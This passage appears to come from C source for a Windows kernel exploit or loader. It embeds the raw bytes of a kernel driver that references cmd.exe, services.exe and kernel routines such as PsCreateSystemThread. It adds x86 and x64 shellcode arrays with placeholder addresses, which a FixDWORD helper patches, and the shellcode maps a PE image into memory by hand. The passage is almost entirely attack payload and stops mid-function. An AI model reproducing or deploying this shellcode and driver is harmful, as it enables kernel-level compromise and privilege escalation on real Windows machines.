0xD6, 0x07, 0x01, 0x00, 0x50, 0xFF, 0x15, 0x18, 0x08, 0x01, 0x00, 0x59, 0x59, 0x85, 0xC0, 0x75,
0x17, 0x8B, 0x85, 0xD8, 0xFE, 0xFF, 0xFF, 0x8D, 0x3C, 0x30, 0x39, 0x1F, 0x74, 0x0A, 0x8B, 0xCB,
0xFF, 0x15, 0x1C, 0x08, 0x01, 0x00, 0x89, 0x1F, 0x8B, 0x36, 0x8B, 0x85, 0xD4, 0xFE, 0xFF, 0xFF,
0x3B, 0x06, 0x75, 0xC3, 0x8A, 0x8D, 0xE3, 0xFE, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x08, 0x01, 0x00,
0x8D, 0x85, 0xCC, 0xFE, 0xFF, 0xFF, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x15, 0x10, 0x08, 0x01,
0x00, 0xE9, 0x4B, 0xFF, 0xFF, 0xFF, 0x68, 0xC2, 0x07, 0x01, 0x00, 0xE8, 0x9C, 0x00, 0x00, 0x00,
0x59, 0x8B, 0x4D, 0xFC, 0x33, 0xCD, 0x5E, 0xE8, 0x50, 0x00, 0x00, 0x00, 0xC9, 0xC2, 0x04, 0x00,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x1C, 0x33, 0xC0,
0x50, 0x68, 0x0E, 0x05, 0x01, 0x00, 0x50, 0x50, 0x89, 0x45, 0xE8, 0x89, 0x45, 0xEC, 0x89, 0x45,
0xF4, 0x89, 0x45, 0xF8, 0x8D, 0x45, 0xE4, 0x50, 0x68, 0xFF, 0x03, 0x1F, 0x00, 0x8D, 0x45, 0xFC,
0x50, 0xC7, 0x45, 0xE4, 0x18, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF0, 0x00, 0x02, 0x00, 0x00, 0xFF,
0x15, 0x2C, 0x08, 0x01, 0x00, 0xC9, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x3B, 0x0D, 0x00, 0x09,
0x01, 0x00, 0x75, 0x03, 0xC2, 0x00, 0x00, 0xE9, 0x05, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x51, 0x89, 0x4D, 0xFC, 0x6A, 0x00, 0xFF, 0x35, 0x04, 0x09,
0x01, 0x00, 0xFF, 0x35, 0x00, 0x09, 0x01, 0x00, 0xFF, 0x75, 0xFC, 0x68, 0xF7, 0x00, 0x00, 0x00,
0xFF, 0x15, 0x34, 0x08, 0x01, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x0C, 0x08,
0x01, 0x00, 0x4F, 0x53, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74,
0x65, 0x64, 0x2E, 0x0A, 0x00, 0xCC, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x73, 0x65,
0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5A, 0x0B, 0x00, 0x00, 0x68, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x0A, 0x00, 0x00,
0xA4, 0x0A, 0x00, 0x00, 0x7C, 0x0A, 0x00, 0x00, 0xBE, 0x0A, 0x00, 0x00, 0xCA, 0x0A, 0x00, 0x00,
0xE0, 0x0A, 0x00, 0x00, 0xF6, 0x0A, 0x00, 0x00, 0x06, 0x0B, 0x00, 0x00, 0x16, 0x0B, 0x00, 0x00,
0x2E, 0x0B, 0x00, 0x00, 0x3C, 0x0B, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x00, 0x50, 0x0A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x63, 0xCB, 0xDF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x3E, 0x00, 0x00, 0x00, 0x6C, 0x08, 0x00, 0x00, 0x6C, 0x08, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53,
0x90, 0x6D, 0xBD, 0xF4, 0x90, 0x90, 0xED, 0x4B, 0x93, 0x50, 0x15, 0x16, 0xDA, 0x26, 0x2E, 0xF6,
0x03, 0x00, 0x00, 0x00, 0x66, 0x3A, 0x5C, 0x74, 0x65, 0x73, 0x74, 0x5C, 0x6F, 0x62, 0x6A, 0x66,
0x72, 0x65, 0x5F, 0x77, 0x78, 0x70, 0x5F, 0x78, 0x38, 0x36, 0x5C, 0x69, 0x33, 0x38, 0x36, 0x5C,
0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x2E, 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0xE6, 0x40, 0xBB, 0xB1, 0x19, 0xBF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0x00, 0x09, 0x01, 0x00, 0xB9, 0x4E, 0xE6, 0x40, 0xBB, 0x85,
0xC0, 0x74, 0x04, 0x3B, 0xC1, 0x75, 0x1A, 0xA1, 0x30, 0x08, 0x01, 0x00, 0x8B, 0x00, 0x35, 0x00,
0x09, 0x01, 0x00, 0xA3, 0x00, 0x09, 0x01, 0x00, 0x75, 0x07, 0x8B, 0xC1, 0xA3, 0x00, 0x09, 0x01,
0x00, 0xF7, 0xD0, 0xA3, 0x04, 0x09, 0x01, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0xFF,
0x55, 0x8B, 0xEC, 0xE8, 0xBD, 0xFF, 0xFF, 0xFF, 0x5D, 0xE9, 0x22, 0xFB, 0xFF, 0xFF, 0xCC, 0xCC,
0x18, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x0B, 0x00, 0x00,
0x0C, 0x08, 0x00, 0x00, 0x0C, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x76, 0x0B, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0x0B, 0x00, 0x00,
0x68, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x0A, 0x00, 0x00, 0xA4, 0x0A, 0x00, 0x00,
0x7C, 0x0A, 0x00, 0x00, 0xBE, 0x0A, 0x00, 0x00, 0xCA, 0x0A, 0x00, 0x00, 0xE0, 0x0A, 0x00, 0x00,
0xF6, 0x0A, 0x00, 0x00, 0x06, 0x0B, 0x00, 0x00, 0x16, 0x0B, 0x00, 0x00, 0x2E, 0x0B, 0x00, 0x00,
0x3C, 0x0B, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x00, 0x50, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0x00, 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, 0x74, 0x68,
0x54, 0x61, 0x67, 0x00, 0x41, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65,
0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0x50, 0x05, 0x5A, 0x77,
0x51, 0x75, 0x65, 0x72, 0x79, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x49, 0x6E, 0x66, 0x6F, 0x72,
0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0x30, 0x00, 0x44, 0x62, 0x67, 0x50, 0x72, 0x69,
0x6E, 0x74, 0x00, 0x00, 0xFC, 0x01, 0x4B, 0x65, 0x44, 0x65, 0x6C, 0x61, 0x79, 0x45, 0x78, 0x65,
0x63, 0x75, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x00, 0x8D, 0x05,
0x5F, 0x73, 0x74, 0x72, 0x69, 0x63, 0x6D, 0x70, 0x00, 0x00, 0x31, 0x03, 0x4F, 0x62, 0x66, 0x52,
0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x00,
0x69, 0x01, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x50, 0x72,
0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x16, 0x04, 0x52, 0x74, 0x6C, 0x47, 0x65, 0x74, 0x56, 0x65,
0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x75, 0x03, 0x50, 0x73, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72,
0x73, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0x4C, 0x03, 0x50, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,
0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x00, 0x66, 0x02,
0x4B, 0x65, 0x54, 0x69, 0x63, 0x6B, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0xF6, 0x01, 0x4B, 0x65,
0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73,
0x6B, 0x72, 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x4D, 0x00, 0x4B, 0x66, 0x4C, 0x6F,
0x77, 0x65, 0x72, 0x49, 0x72, 0x71, 0x6C, 0x00, 0x4E, 0x00, 0x4B, 0x66, 0x52, 0x61, 0x69, 0x73,
0x65, 0x49, 0x72, 0x71, 0x6C, 0x00, 0x48, 0x41, 0x4C, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x90, 0x34, 0xB8, 0x34, 0xDE, 0x34, 0xF1, 0x34,
0xFB, 0x34, 0x1A, 0x35, 0x53, 0x35, 0x71, 0x35, 0x63, 0x36, 0x6F, 0x36, 0x87, 0x36, 0xA3, 0x36,
0xC0, 0x36, 0xC7, 0x36, 0xE2, 0x36, 0xFC, 0x36, 0x0D, 0x37, 0x17, 0x37, 0x42, 0x37, 0x71, 0x37,
0x7E, 0x37, 0x9E, 0x37, 0xA4, 0x37, 0xB2, 0x37, 0xBE, 0x37, 0x86, 0x39, 0x98, 0x39, 0x9F, 0x39,
0xA4, 0x39, 0xAD, 0x39, 0xB4, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

```
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

BYTE Data[] = {
  0x54, 0xE8, 0x84, 0x03, 0x00, 0x00, 0x5C, 0x8B, 0xEC, 0x81, 0xC5, 0xAA, 0xAA, 0xAA, 0xAA, 0xFF,
  0x75, 0x04, 0xE8, 0x31, 0x00, 0x00, 0x00, 0x83, 0xF8, 0x00, 0x74, 0x04, 0x50, 0x33, 0xC0, 0xC3,
  0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0xC7, 0x45, 0xF8, 0xA0, 0x1C, 0xE9, 0xFF, 0xC7, 0x45, 0xFC,
  0xFF, 0xFF, 0xFF, 0xFF, 0x8D, 0x55, 0xF8, 0x52, 0x6A, 0x00, 0x6A, 0x00,  0xB8, 0x88, 0x88, 0x88,
  0x88, 0xFF, 0xD0, 0x8B, 0xE5, 0x5D, 0xEB, 0xD8, 0x55, 0x8B, 0xEC, 0x51, 0x8B, 0x45, 0x08, 0x8B,
  0x4D, 0x08, 0x03, 0x48, 0xFC, 0x89, 0x4D, 0x08, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0xEB,
  0x09, 0x8B, 0x55, 0xFC, 0x83, 0xC2, 0x01, 0x89, 0x55, 0xFC, 0x81, 0x7D, 0xFC, 0x00, 0x05, 0x00,
  0x00, 0x73, 0x1D, 0x8B, 0x45, 0x08, 0x40, 0x89, 0x45, 0x08, 0x0F, 0xBF, 0x00, 0x25, 0xFF, 0xFF,
  0x00, 0x00, 0x3D, 0x85, 0xC0, 0x00, 0x00, 0x75, 0x05, 0x8B, 0x45, 0x08, 0xEB, 0x04, 0xEB, 0xD1,
  0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18, 0x8B, 0x45,
  0x08, 0x50, 0x8D, 0x4D, 0xF4, 0x51, 0xB8, 0x22, 0x22, 0x22, 0x22, 0xFF, 0xD0, 0x6A, 0x01, 0x8D,
  0x55, 0xF4, 0x52, 0x8D, 0x45, 0xEC, 0x50, 0xB8, 0x33, 0x33, 0x33, 0x33, 0xFF, 0xD0, 0x89, 0x45,
  0xE8, 0x80, 0x7D, 0xE8, 0x00, 0x7D, 0x04, 0x33, 0xC0, 0xEB, 0x1C, 0x8D, 0x4D, 0xEC, 0x51, 0xB8,
  0x44, 0x44, 0x44, 0x44, 0xFF, 0xD0, 0x89, 0x45, 0xFC, 0x8D, 0x55, 0xEC, 0x52, 0xB8, 0x55, 0x55,
  0x55, 0x55, 0xFF, 0xD0, 0x8B, 0x45, 0xFC, 0x8B, 0xE5, 0x5D, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC,
  0x83, 0xEC, 0x58, 0xC6, 0x45, 0xEF, 0x00, 0x8B, 0x45, 0x08, 0x8B, 0x48, 0x3C, 0x89, 0x4D, 0xD0,
  0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x55, 0x08, 0x03, 0x55, 0xD0, 0x89, 0x55, 0xDC,
  0x8B, 0x45, 0xDC, 0x8B, 0x48, 0x50, 0x89, 0x4D, 0xE4, 0x68, 0x74, 0x65, 0x73, 0x74, 0x8B, 0x55,
  0xE4, 0x52, 0x6A, 0x00, 0xB8, 0x11, 0x11, 0x11, 0x11, 0xFF, 0xD0, 0x89, 0x45, 0xE8, 0x83, 0x7D,
  0xE8, 0x00, 0x75, 0x05, 0xE9, 0x3F, 0x02, 0x00, 0x00, 0x8B, 0x45, 0xE4, 0x50, 0x6A, 0x00, 0x8B,
  0x4D, 0xE8, 0x51, 0xB8, 0x77, 0x77, 0x77, 0x77, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x8B, 0x55, 0xDC,
  0x0F, 0xB7, 0x42, 0x06, 0x89, 0x45, 0xF4, 0x8B, 0x4D, 0xF4, 0x6B, 0xC9, 0x28, 0x8B, 0x55, 0xD0,
  0x8D, 0x84, 0x0A, 0xF8, 0x00, 0x00, 0x00, 0x89, 0x45, 0xD8, 0x8B, 0x4D, 0xD8, 0x51, 0x8B, 0x55,
  0x08, 0x52, 0x8B, 0x45, 0xE8, 0x50, 0xB8, 0x66, 0x66, 0x66, 0x66, 0xFF, 0xD0, 0x83, 0xC4, 0x0C,
  0x8B, 0x4D, 0xDC, 0x8B, 0x51, 0x3C, 0x83, 0xEA, 0x01, 0x89, 0x55, 0xD8, 0x8B, 0x45, 0xDC, 0x8B,
  0x48, 0x38, 0x83, 0xE9, 0x01, 0x89, 0x4D, 0xF8, 0x8B, 0x55, 0xDC, 0x81, 0xC2, 0xF8, 0x00, 0x00,
```

```
  0x00, 0x89, 0x55, 0xF0, 0xC7, 0x45, 0xD4, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x12, 0x8B, 0x45, 0xD4,
  0x83, 0xC0, 0x01, 0x89, 0x45, 0xD4, 0x8B, 0x4D, 0xF0, 0x83, 0xC1, 0x28, 0x89, 0x4D, 0xF0, 0x8B,
  0x55, 0xD4, 0x3B, 0x55, 0xF4, 0x7D, 0x42, 0x8B, 0x45, 0xF0, 0x8B, 0x48, 0x0C, 0x23, 0x4D, 0xF8,
  0x75, 0x0B, 0x8B, 0x55, 0xF0, 0x8B, 0x42, 0x10, 0x23, 0x45, 0xD8, 0x74, 0x05, 0xE9, 0x96, 0x01,
  0x00, 0x00, 0x8B, 0x4D, 0xF0, 0x8B, 0x51, 0x10, 0x52, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0x08, 0x03,
  0x48, 0x14, 0x51, 0x8B, 0x55, 0xF0, 0x8B, 0x45, 0xE8, 0x03, 0x42, 0x0C, 0x50, 0xB8, 0x66, 0x66,
  0x66, 0x66, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0xEB, 0xA4, 0x8B, 0x4D, 0xDC, 0x83, 0xB9, 0x84, 0x00,
  0x00, 0x00, 0x00, 0x0F, 0x86, 0x82, 0x00, 0x00, 0x00, 0x8B, 0x55, 0xDC, 0x8B, 0x45, 0xE8, 0x03,
  0x82, 0x80, 0x00, 0x00, 0x00, 0x89, 0x45, 0xCC, 0xEB, 0x09, 0x8B, 0x4D, 0xCC, 0x83, 0xC1, 0x14,
  0x89, 0x4D, 0xCC, 0x8B, 0x55, 0xCC, 0x83, 0x7A, 0x0C, 0x00, 0x74, 0x5F, 0x8B, 0x45, 0xCC, 0x8B,
  0x4D, 0xE8, 0x03, 0x48, 0x10, 0x89, 0x4D, 0xC8, 0xEB, 0x09, 0x8B, 0x55, 0xC8, 0x83, 0xC2, 0x04,
  0x89, 0x55, 0xC8, 0x8B, 0x45, 0xC8, 0x83, 0x38, 0x00, 0x74, 0x3E, 0x8B, 0x4D, 0xC8, 0x8B, 0x11,
  0x81, 0xE2, 0x00, 0x00, 0x00, 0x80, 0x74, 0x02, 0xEB, 0x1A, 0x8B, 0x45, 0xC8, 0x8B, 0x4D, 0xE8,
  0x03, 0x08, 0x89, 0x4D, 0xC0, 0x8B, 0x55, 0xC0, 0x83, 0xC2, 0x02, 0x52, 0xE8, 0x17, 0xFE, 0xFF,
  0xFF, 0x89, 0x45, 0xC4, 0x83, 0x7D, 0xC4, 0x00, 0x75, 0x05, 0xE9, 0xE9, 0x00, 0x00, 0x00, 0x8B,
  0x45, 0xC8, 0x8B, 0x4D, 0xC4, 0x89, 0x08, 0xEB, 0xB1, 0xEB, 0x8F, 0x8B, 0x55, 0xDC, 0x83, 0xBA,
  0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x86, 0xB3, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xDC, 0x8B, 0x4D,
  0xE8, 0x03, 0x88, 0xA0, 0x00, 0x00, 0x00, 0x89, 0x4D, 0xB8, 0x8B, 0x55, 0xDC, 0x8B, 0x45, 0xE8,
  0x2B, 0x42, 0x34, 0x89, 0x45, 0xBC, 0x8B, 0x4D, 0xB8, 0x83, 0x79, 0x04, 0x00, 0x0F, 0x84, 0x8B,
  0x00, 0x00, 0x00, 0x8B, 0x55, 0xB8, 0x8B, 0x42, 0x04, 0x83, 0xE8, 0x08, 0xD1, 0xE8, 0x89, 0x45,
  0xB4, 0x8B, 0x4D, 0xB8, 0x83, 0xC1, 0x08, 0x89, 0x4D, 0xB0, 0xC7, 0x45, 0xD4, 0x00, 0x00, 0x00,
  0x00, 0xEB, 0x09, 0x8B, 0x55, 0xD4, 0x83, 0xC2, 0x01, 0x89, 0x55, 0xD4, 0x8B, 0x45, 0xD4, 0x3B,
  0x45, 0xB4, 0x7D, 0x49, 0x8B, 0x4D, 0xD4, 0x8B, 0x55, 0xB0, 0x0F, 0xBF, 0x04, 0x4A, 0x25, 0xFF,
  0x0F, 0x00, 0x00, 0x89, 0x45, 0xA8, 0x8B, 0x4D, 0xD4, 0x8B, 0x55, 0xB0, 0x0F, 0xBF, 0x04, 0x4A,
  0xC1, 0xF8, 0x0C, 0x89, 0x45, 0xAC, 0x83, 0x7D, 0xAC, 0x03, 0x75, 0x1F, 0x8B, 0x4D, 0xB8, 0x8B,
  0x55, 0xE8, 0x03, 0x11, 0x8B, 0x45, 0xA8, 0x8B, 0x0C, 0x02, 0x03, 0x4D, 0xBC, 0x8B, 0x55, 0xB8,
  0x8B, 0x45, 0xE8, 0x03, 0x02, 0x8B, 0x55, 0xA8, 0x89, 0x0C, 0x10, 0xEB, 0xA6, 0x8B, 0x45, 0xB8,
  0x8B, 0x4D, 0xB8, 0x03, 0x48, 0x04, 0x89, 0x4D, 0xB8, 0xE9, 0x68, 0xFF, 0xFF, 0xFF, 0x8B, 0x55,
  0x10, 0x8B, 0x45, 0xE8, 0x89, 0x02, 0x8B, 0x4D, 0xDC, 0x8B, 0x55, 0xE8, 0x03, 0x51, 0x28, 0x8B,
  0x45, 0x14, 0x89, 0x10, 0xC6, 0x45, 0xEF, 0x01, 0x8A, 0x45, 0xEF, 0x8B, 0xE5, 0x5D, 0xC2, 0x10,
  0x00, 0xEB, 0x07, 0x8D, 0xA4, 0x24, 0x00, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x10,
  0xC6, 0x45, 0xFC, 0x00, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x8D, 0x55, 0xF0, 0x52, 0x8D,
  0x45, 0xF4, 0x50, 0x68, 0x44, 0x33, 0x22, 0x11, 0x68, 0x88, 0x77, 0x66, 0x55, 0xE8, 0x3B, 0xFD,
  0xFF, 0xFF, 0x0F, 0xB6, 0xC0, 0x85, 0xC0, 0x75, 0x02, 0xEB, 0x0B, 0x6A, 0x00, 0x6A, 0x00, 0xFF,
  0x55, 0xF0, 0xC6, 0x45, 0xFC, 0x01, 0x8A, 0x45, 0xFC, 0x8B, 0xE5, 0x5D, 0xC3
};
BYTE Data64[] = {
  0xFF, 0xB4, 0x24, 0x98, 0x00, 0x00, 0x00, 0xE8, 0x28, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x47, 0x74,
  0x6D, 0x70, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 0x00, 0xB9, 0x21, 0x00, 0x00, 0x00, 0xFF, 0x10,
  0x48, 0x8B, 0xF0, 0xFF, 0xB4, 0x24, 0x98, 0x00, 0x00, 0x00, 0xE8, 0x42, 0x00, 0x00, 0x00, 0x50,
  0x48, 0x33, 0xC0, 0xC3, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x63, 0x48, 0xFC,
  0x48, 0x03, 0xC8, 0x48, 0x89, 0x4D, 0x10, 0x48, 0x8B, 0x45, 0x10, 0x48, 0xFF, 0xC0, 0x48, 0x89,
  0x45, 0x10, 0x8B, 0x00, 0x3D, 0x41, 0x8B, 0xCD, 0xFF, 0x75, 0xEC, 0x48, 0x8B, 0x45, 0x10, 0x48,
  0x83, 0xC0, 0x09, 0x48, 0x63, 0x48, 0xFC, 0x48, 0x03, 0xC1, 0x48, 0x8B, 0xE5, 0x5D, 0xC2, 0x08,
```

```
  0x00, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x63, 0x48, 0xFC, 0x48, 0x03, 0xC8,
  0x48, 0x89, 0x4D, 0x10, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x10, 0x48,
  0xFF, 0xC0, 0x48, 0x89, 0x45, 0x10, 0x8B, 0x00, 0x3D, 0x41, 0x3B, 0xC4, 0x0F, 0x75, 0xEC, 0x83,
  0x7D, 0xFC, 0x01, 0x74, 0x05, 0xFF, 0x45, 0xFC, 0xEB, 0xE1, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x8B,
  0xE5, 0x5D, 0xC2, 0x08, 0x00
};
void FixDWORD(BYTE* Data, DWORD Size, DWORD Old, DWORD New)
{
  DWORD p = 0;
  PDWORD pDD;
  while(p < Size)
  {
    pDD = (PDWORD)(Data + p);
    if(*pDD == Old)
      *(DWORD*)(Data + p) = New;
    p++;
  }
}

BYTE* FindDWORD(BYTE* Data, DWORD Size, DWORD Old)
{
  DWORD p = 0;
  PDWORD pDD;
  while(p < Size)
  {
